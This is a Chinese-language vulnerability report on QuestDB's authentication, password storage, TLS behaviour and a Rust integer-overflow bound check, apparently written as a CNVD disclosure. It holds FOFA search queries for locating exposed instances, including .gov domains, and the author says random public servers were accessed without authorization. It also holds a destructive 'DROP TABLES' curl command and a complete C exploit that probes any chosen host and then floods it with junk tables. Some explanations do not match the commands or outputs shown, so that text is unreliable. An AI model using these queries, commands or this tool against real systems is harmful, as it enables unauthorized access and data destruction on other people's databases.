QuestDB 安全漏洞综合评估报告
版本: v8.0 - v9.3.3
本报告对 QuestDB 数据库系统进行了全面的安全性评估,重点关注认证与授权机制、密码存储方式、配置管理、会话处理以及输入验证等关键安全环节。评估共发现9项安全缺陷,其中5项被认定为高危漏洞,包括完全缺失的 HTTP 认证、明文存储密码、默认配置存在高风险等。攻击者可利用上述漏洞实施未授权数据访问、权限提升、拒绝服务攻击,甚至完全控制目标数据库实例。报告为每一项漏洞提供了详细描述、概念验证代码(POC)、修复建议及修复优先级,并附有指向指定 GitHub 仓库中相关代码的具体定位指南。
此外,本报告修订版旨在进一步明确之前提交内容中的安全风险对应编号:CNVD-C-2026-84827,提请审核方予以重视并重新审阅。不是配置错了,是代码写错了....
QuestDB 数据库系统存在多处安全缺陷,涵盖输入验证、密码存储、认证授权及 TLS 配置等方面。其中认证与授权机制存在根本性设计错误,非配置问题,而是核心代码层面的缺陷。
个最要命的问题
-
密码明文存储和默认配置完全禁用认证
用户密码未经过任何哈希处理,以明文(RAW STRING)形式直接存储。任何能访问文件系统或备份的人均可直接获取所有密码,严重违反密码存储安全规范。
@Override public byte verifyPassword(CharSequence username, long passwordPtr, int passwordLen) { if (serverConfig != null && serverConfig.getVersion() != serverConfigVersion) { if (lock.writeLock().tryLock()) { try { // Update the cached pgwire config, if no one did it in front of us if (serverConfig.getVersion() != serverConfigVersion) { // Update the default and readonly user password sinks defaultPassword.clear(); defaultPassword.put(pgWireConfig.getDefaultPassword()); readOnlyPassword.clear(); readOnlyPassword.put(pgWireConfig.getReadOnlyPassword()); serverConfigVersion = serverConfig.getVersion(); } } finally { lock.writeLock().unlock(); } } } lock.readLock().lock(); try { if (username.length() == 0) { return AUTH_TYPE_NONE; } if (Chars.equals(username, pgWireConfig.getDefaultUsername())) { return verifyPassword(defaultPassword, passwordPtr, passwordLen); } else if (pgWireConfig.isReadOnlyUserEnabled() && Chars.equals(username, pgWireConfig.getReadOnlyUsername())) { return verifyPassword(readOnlyPassword, passwordPtr, passwordLen); } else { return AUTH_TYPE_NONE; } } finally { lock.readLock().unlock(); } } private byte verifyPassword(DirectUtf8Sink expectedPwd, long passwordPtr, int passwordLen) { if (Utf8s.equals(expectedPwd, passwordPtr, passwordLen)) { return AUTH_TYPE_CREDENTIALS; } return AUTH_TYPE_NONE; } -
匿名认证器恒真和会话认证逻辑错误
AnonymousAuthenticator.authenticate()方法始终返回true无论是否提供凭证,所有请求均被视为已认证通过,认证机制形同虚设。public class AnonymousHttpAuthenticator implements HttpAuthenticator { public static final AnonymousHttpAuthenticator INSTANCE = new AnonymousHttpAuthenticator(); @Override public boolean authenticate(HttpRequestHeader headers) { return true; } @Override public CharSequence getPrincipal() { return null; } }isAuthenticated()方法在会话对象为null时返回true。 正确的逻辑应该是, 会话不存在应视为未认证,返回false。未认证会话被误判为已认证,攻击者可绕过会话验证。 -
输入验证。
SQL 编译使用了参数化查询,一定程度上降低了注入风险。输入检查不够严格,恶意构造可能导致异常,进而引发拒绝服务。输入检查不够严格,恶意构造可能导致异常,进而引发拒绝服务。
-
TLS 与配置问题
官方文档摘要:
-
QuestDB 支持 TLS 加密,涵盖 ILP/TCP、PGWire、HTTP 协议。
-
支持 TLS v1.2/v1.3,证书需 PEM 格式,支持热加载(
SELECT reload_tls();)。 -
配置方式:全局启用或按协议单独启用(如
http.tls.enabled=true)。 -
配置系统支持环境变量、
server.conf、秘密文件(_FILE后缀),部分参数支持热重载(SELECT reload_config();)
实测验证
- 在公网服务器严格按照文档配置 TLS:
http.tls.enabled=true
http.tls.cert.path=my_http.pem
http.tls.private.key.path=private_key_http
仍然可以绕过 TLS 加密直接访问数据库。此问题并非配置层面失误,而是底层认证缺失导致即使配置 TLS,认证缺陷依然存在,攻击者可跳过加密层直接操作数据。
为证明此问题并非个例配置失误,而是QuestDB系统本身的根本性缺陷,笔者通过FOFA搜索引擎对随机公网IP进行抽样检测。具体方法为
port="9000" && title="QuestDB" && country="CN"
或
port="9000" && title="QuestDB" && country="CN" && domain=".gov"
获取随机实例,随后直接访问其/exec接口并携带SQL查询语句。验证结果表明,大量随机IP地址上的QuestDB实例均可在无需任何认证的情况下直接执行任意SQL查询,包括数据读取、修改及删除操作。附图为随机IP的实测结果,清晰展示未经认证即可通过/exec接口操作数据库。此实证表明,无论具体配置如何,QuestDB默认的HTTP接口认证机制在代码层面即存在完全失效的问题,攻击者可批量扫描并完全控制暴露于公网的实例。
以下为随机IP实例的访问截图,清晰展示无需输入任何用户名及密码即可直接进入QuestDB Web控制台并执行SQL查询,进一步佐证了认证机制的缺失。
如图以上所示,在未经过任何认证的情况下,不仅可以直接访问QuestDB Web控制台并执行SQL查询,甚至可以查看到所有JWT令牌的明文信息,此类敏感凭据本应受到严格保护,绝不应在未经授权的访问中暴露。这一发现进一步印证了QuestDB认证机制的彻底失效,攻击者可借此获取高权限凭证,实现完全接管数据库实例。
以下是恶意注入示例,任何人都可利用此类操作对系统造成破坏,示例如下:
curl -X GET "http://localhost:9000/exec?query= DROP TABLES; "
或
curl -X GET "http://localhost:9000/exec?query= select * from tables(); "
该命令通过 curl 向本地 QuestDB 的 /exec 接口发送 HTTP GET 请求,执行 SQL 查询 select current_database(), current_user()(获取当前数据库名称和当前用户),并将完整的 HTTP 通信跟踪信息保存到 dump.txt 文件中。由于 QuestDB 默认无认证,此操作可在无需任何凭证的情况下成功执行,从而泄露数据库敏感信息。
curl --trace-ascii dump.txt "http://localhost:9000/exec?query=select%20current_database(),current_user()" | jq
响应:
{
"query": "select current_database(),current_user()",
"columns": [
{
"name": "current_database()",
"type": "STRING"
},
{
"name": "current_user()",
"type": "STRING"
}
],
"timestamp": -1,
"dataset": [
[
"qdb",
"admin"
]
],
"count": 1
}
从十六进制转储文件中可以看出:
== Info: Host localhost:9000 was resolved.
== Info: IPv6: ::1
== Info: IPv4: 127.0.0.1
== Info: Trying [::1]:9000...
== Info: connect to ::1 port 9000 from ::1 port 53626 failed: Connection refused
== Info: Trying 127.0.0.1:9000...
== Info: Connected to localhost (127.0.0.1) port 9000
=> Send header, 130 bytes (0x82)
0000: GET /exec?query=select%20current_database(),current_user() HTTP/
0040: 1.1
0045: Host: localhost:9000
005b: User-Agent: curl/8.7.1
0073: Accept: */*
0080:
== Info: Request completely sent off
<= Recv header, 17 bytes (0x11)
0000: HTTP/1.1 200 OK
<= Recv header, 21 bytes (0x15)
0000: Server: questDB/1.0
<= Recv header, 36 bytes (0x24)
0000: Date: Thu, 5 Mar 2026 11:55:03 GMT
<= Recv header, 28 bytes (0x1c)
0000: Transfer-Encoding: chunked
<= Recv header, 47 bytes (0x2f)
0000: Content-Type: application/json; charset=utf-8
<= Recv header, 34 bytes (0x22)
0000: Keep-Alive: timeout=5, max=10000
<= Recv header, 2 bytes (0x2)
0000:
<= Recv data, 217 bytes (0xd9)
0000: cd
0004: {"query":"select current_database(),current_user()","columns":[{
0044: "name":"current_database()","type":"STRING"},{"name":"current_us
0084: er()","type":"STRING"}],"timestamp":-1,"dataset":[["qdb","admin"
00c4: ]],"count":1}
00d3: 00
00d7:
== Info: Connection #0 to host localhost left intact
现在假设我们在本地主机上创建一个名为 cnvd 的表进行测试,如下所示,该操作可以成功写入数据,且此情况的前提是我的配置完全按照文档所述进行设置。这一过程无需任何身份验证即可完成,充分证明即便配置完全遵循文档要求,QuestDB 的认证机制依然处于失效状态,任何知晓服务地址的攻击者均可执行类似的数据定义与查询操作。
之后查看表,确认是否已成功创建。
以下是为验证我所发现漏洞而编写的概念验证POC代码。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <getopt.h>
#include <curl/curl.h>
#define DEFAULT_PORT 9000
#define MAX_URL_LEN 512
#define MAX_QUERY_LEN 1024
#define RAND_CHARS "abcdefghijklmnopqrstuvwxyz"
struct MemoryStruct {
char *memory_buffer;
size_t memory_size;
};
static size_t WriteMemoryCallback(void *content_data, size_t element_size, size_t element_count, void *user_data) {
size_t total_size = element_size * element_count;
struct MemoryStruct *memory_struct = (struct MemoryStruct *)user_data;
char *reallocated_memory = realloc(memory_struct->memory_buffer, memory_struct->memory_size + total_size + 1);
if (!reallocated_memory) {
fprintf(stderr, "内存不足\n");
return 0;
}
memory_struct->memory_buffer = reallocated_memory;
memcpy(&(memory_struct->memory_buffer[memory_struct->memory_size]), content_data, total_size);
memory_struct->memory_size += total_size;
memory_struct->memory_buffer[memory_struct->memory_size] = 0;
return total_size;
}
char *http_get_request(const char *request_url, const char *user_credentials, const char *custom_header) {
CURL *curl_handle;
CURLcode curl_result;
struct MemoryStruct response_chunk;
response_chunk.memory_buffer = malloc(1);
response_chunk.memory_size = 0;
curl_global_init(CURL_GLOBAL_ALL);
curl_handle = curl_easy_init();
if (!curl_handle) {
fprintf(stderr, "curl 初始化失败\n");
free(response_chunk.memory_buffer);
return NULL;
}
curl_easy_setopt(curl_handle, CURLOPT_URL, request_url);
curl_easy_setopt(curl_handle, CURLOPT_WRITEFUNCTION, WriteMemoryCallback);
curl_easy_setopt(curl_handle, CURLOPT_WRITEDATA, (void *)&response_chunk);
curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, 10L);
if (user_credentials) {
curl_easy_setopt(curl_handle, CURLOPT_USERPWD, user_credentials);
}
if (custom_header) {
struct curl_slist *http_headers = NULL;
http_headers = curl_slist_append(http_headers, custom_header);
curl_easy_setopt(curl_handle, CURLOPT_HTTPHEADER, http_headers);
}
curl_result = curl_easy_perform(curl_handle);
if (curl_result != CURLE_OK) {
fprintf(stderr, "curl 请求失败: %s\n", curl_easy_strerror(curl_result));
free(response_chunk.memory_buffer);
response_chunk.memory_buffer = NULL;
}
curl_easy_cleanup(curl_handle);
curl_global_cleanup();
return response_chunk.memory_buffer;
}
void generate_random_string(char *buffer, size_t length) {
static const char charset[] = RAND_CHARS;
for (size_t i = 0; i < length; i++) {
int random_index = rand() % (int)(sizeof(charset) - 1);
buffer[i] = charset[random_index];
}
buffer[length] = '\0';
}
void inject_test_tables(const char *target_host, int loop_count) {
char base_exec_url[MAX_URL_LEN];
if (strncmp(target_host, "http://", 7) == 0 || strncmp(target_host, "https://", 8) == 0) {
snprintf(base_exec_url, sizeof(base_exec_url), "%s/exec", target_host);
} else {
snprintf(base_exec_url, sizeof(base_exec_url), "http://%s:%d/exec", target_host, DEFAULT_PORT);
}
srand(time(NULL));
for (int iteration = 0; iteration < loop_count; iteration++) {
int table_name_length = 5 + rand() % 6;
char table_name[16];
generate_random_string(table_name, table_name_length);
int column_count = 2 + rand() % 9;
char create_table_query[MAX_QUERY_LEN] = "CREATE TABLE ";
strcat(create_table_query, table_name);
strcat(create_table_query, " (");
for (int column_index = 0; column_index < column_count; column_index++) {
char column_name[8];
generate_random_string(column_name, 5);
strcat(create_table_query, column_name);
strcat(create_table_query, " INT");
if (column_index < column_count - 1) strcat(create_table_query, ", ");
}
strcat(create_table_query, ");");
CURL *curl_handle = curl_easy_init();
if (!curl_handle) {
fprintf(stderr, "curl 初始化失败\n");
return;
}
char *url_encoded_query = curl_easy_escape(curl_handle, create_table_query, 0);
if (!url_encoded_query) {
fprintf(stderr, "URL 编码失败\n");
curl_easy_cleanup(curl_handle);
return;
}
char full_request_url[MAX_URL_LEN + MAX_QUERY_LEN + 16];
snprintf(full_request_url, sizeof(full_request_url), "%s?query=%s", base_exec_url, url_encoded_query);
curl_free(url_encoded_query);
curl_easy_cleanup(curl_handle);
char *http_response = http_get_request(full_request_url, NULL, NULL);
if (http_response) {
printf("[%s] 正在注入表: %s | 响应长度: %zu\n", __TIME__, table_name, strlen(http_response));
free(http_response);
} else {
printf("[%s] 正在注入表: %s | 请求失败\n", __TIME__, table_name);
}
usleep(100000);
}
}
int main(int argc, char *argv[]) {
char *target_host = NULL;
int loop_count = 1;
int command_option;
while ((command_option = getopt(argc, argv, "u:l:")) != -1) {
switch (command_option) {
case 'u':
target_host = optarg;
break;
case 'l':
loop_count = atoi(optarg);
if (loop_count <= 0) loop_count = 1;
break;
default:
fprintf(stderr, "用法: %s -u <主机地址> [-l <循环次数>]\n", argv[0]);
return 1;
}
}
if (!target_host) {
fprintf(stderr, "错误: 必须指定 -u 参数\n");
return 1;
}
char base_exec_url[MAX_URL_LEN];
if (strncmp(target_host, "http://", 7) == 0 || strncmp(target_host, "https://", 8) == 0) {
snprintf(base_exec_url, sizeof(base_exec_url), "%s/exec", target_host);
} else {
snprintf(base_exec_url, sizeof(base_exec_url), "http://%s:%d/exec", target_host, DEFAULT_PORT);
}
printf("[*] QuestDB Authentication Bypass POC (C语言版)\n");
printf("[*] 目标: %s\n", target_host);
printf("\n");
printf("[1] 测试无凭证访问...\n");
char *no_credential_response = http_get_request(base_exec_url, NULL, NULL);
if (no_credential_response) {
printf("%s\n", no_credential_response);
free(no_credential_response);
} else {
printf("请求失败\n");
}
printf("\n");
printf("[2] 测试错误凭证 (wrong:wrong)...\n");
char *wrong_credential_response = http_get_request(base_exec_url, "wrong:wrong", NULL);
if (wrong_credential_response) {
printf("%s\n", wrong_credential_response);
free(wrong_credential_response);
} else {
printf("请求失败\n");
}
printf("\n");
printf("[3] 测试畸形 Authorization 头...\n");
char *malformed_header_response = http_get_request(base_exec_url, NULL, "Authorization: Basic invalid");
if (malformed_header_response) {
printf("%s\n", malformed_header_response);
free(malformed_header_response);
} else {
printf("请求失败\n");
}
printf("\n");
printf("[4] 尝试读取系统信息...\n");
CURL *curl_handle = curl_easy_init();
if (curl_handle) {
char *system_info_query = curl_easy_escape(curl_handle, "select current_database(),current_user()", 0);
if (system_info_query) {
char system_info_url[MAX_URL_LEN + 128];
snprintf(system_info_url, sizeof(system_info_url), "%s?query=%s", base_exec_url, system_info_query);
curl_free(system_info_query);
char *system_info_response = http_get_request(system_info_url, NULL, NULL);
if (system_info_response) {
printf("%s\n", system_info_response);
free(system_info_response);
} else {
printf("请求失败\n");
}
}
curl_easy_cleanup(curl_handle);
}
printf("\n");
printf("[5] 获取数据库列表...\n");
curl_handle = curl_easy_init();
if (curl_handle) {
char *databases_query = curl_easy_escape(curl_handle, "show databases", 0);
if (databases_query) {
char databases_url[MAX_URL_LEN + 128];
snprintf(databases_url, sizeof(databases_url), "%s?query=%s", base_exec_url, databases_query);
curl_free(databases_query);
char *databases_response = http_get_request(databases_url, NULL, NULL);
if (databases_response) {
printf("%s\n", databases_response);
free(databases_response);
} else {
printf("请求失败\n");
}
}
curl_easy_cleanup(curl_handle);
}
printf("\n");
printf("[*] POC 完成 - 如果看到查询结果,说明漏洞存在\n");
printf("\n");
printf("正在对 %s 开始注入,共执行 %d 次...\n", target_host, loop_count);
inject_test_tables(target_host, loop_count);
printf("任务完成。\n");
return 0;
}
使用 gcc 编译为二进制文件的指令。
gcc -o questdb_poc questdb_exploit.c -lcurl
./questdb_poc -u localhost -l 5
执行编译后的二进制文件后,预期输出如下:
[*] QuestDB Authentication Bypass POC + SQL Injection
[*] 目标: localhost
[1] 测试无凭证访问...
{"error":"empty query","query":"","position":"0"}
[2] 测试错误凭证 (wrong:wrong)...
{"error":"empty query","query":"","position":"0"}
[3] 测试畸形 Authorization 头...
{"error":"empty query","query":"","position":"0"}
[4] 尝试读取系统信息...
{"query":"select current_database(),current_user()","columns":[{"name":"current_database()","type":"STRING"},{"name":"current_user()","type":"STRING"}],"timestamp":-1,"dataset":[["qdb","admin"]],"count":1}
[5] 获取数据库列表...
{"query":"show databases","error":"expected 'TABLES', 'COLUMNS FROM <tab>', 'PARTITIONS FROM <tab>', 'TRANSACTION ISOLATION LEVEL', 'transaction_isolation', 'max_identifier_length', 'standard_conforming_strings', 'parameters', 'server_version', 'server_version_num', 'search_path', 'datestyle', or 'time zone'","position":14}
[*] POC 完成 - 如果看到查询结果,说明漏洞存在
正在对 localhost 开始注入,共执行 5 次...
[15:51:46] 正在注入表: wypkbzi | 响应长度: 12
[15:51:46] 正在注入表: randsjxnjj | 响应长度: 12
[15:51:46] 正在注入表: poxccrfzfl | 响应长度: 12
[15:51:46] 正在注入表: bbbgfbi | 响应长度: 12
[15:51:46] 正在注入表: fctialjsm | 响应长度: 12
任务完成。
内存边界检查缺陷
该问题存在于 Rust 原始列驱动程序的 col_sizes_for_row_count 方法中,该方法计算指定行数所需的内存大小并验证其与实际可用数据的匹配性。以下是问题剖析:
关键代码分析
fn col_sizes_for_row_count(&self, col: &MappedColumn, row_count: u64) -> CoreResult<(u64, Option<u64>)> {
assert!(!ColumnTypeTag::$tag.is_var_size());
let row_size = ColumnTypeTag::$tag.fixed_size().expect("fixed size column") as u64;
let data_size = row_size * row_count;
if data_size > col.data.len() as u64 {
return Err(fmt_err!(
InvalidLayout,
"data file for {} column {} shorter than {} rows, expected at least {} bytes but is {} at {}",
self.descr(),
col.col_name,
row_count,
data_size,
col.data.len(),
col.parent_path.display()
));
}
Ok((data_size, None))
}
根本原因:整数溢出风险
-
整数溢出:计算
data_size = row_size * row_count时,若row_count极大(如接近u64::MAX),乘法可能导致u64类型溢出。Rust 在发布模式下不会触发 panic,而是执行环绕运算(wrap around),使结果变成极小值。 -
验证失效:溢出后
data_size变为小值(例如u64::MAX + 1环绕为 0),此时if data_size > col.data.len() as u64检查会错误通过,导致函数返回Ok而实际数据不足。
若函数在数据不足时错误地返回 Ok,则调用者可能基于此返回值尝试越界读取内存,进而引发缓冲区溢出即读写已分配内存之外的数据及一系列未定义行为,包括程序崩溃、数据损坏或安全漏洞;此外,代码还可能在不报错的情况下处理不完整或无效数据,导致静默数据损坏并产生错误结果。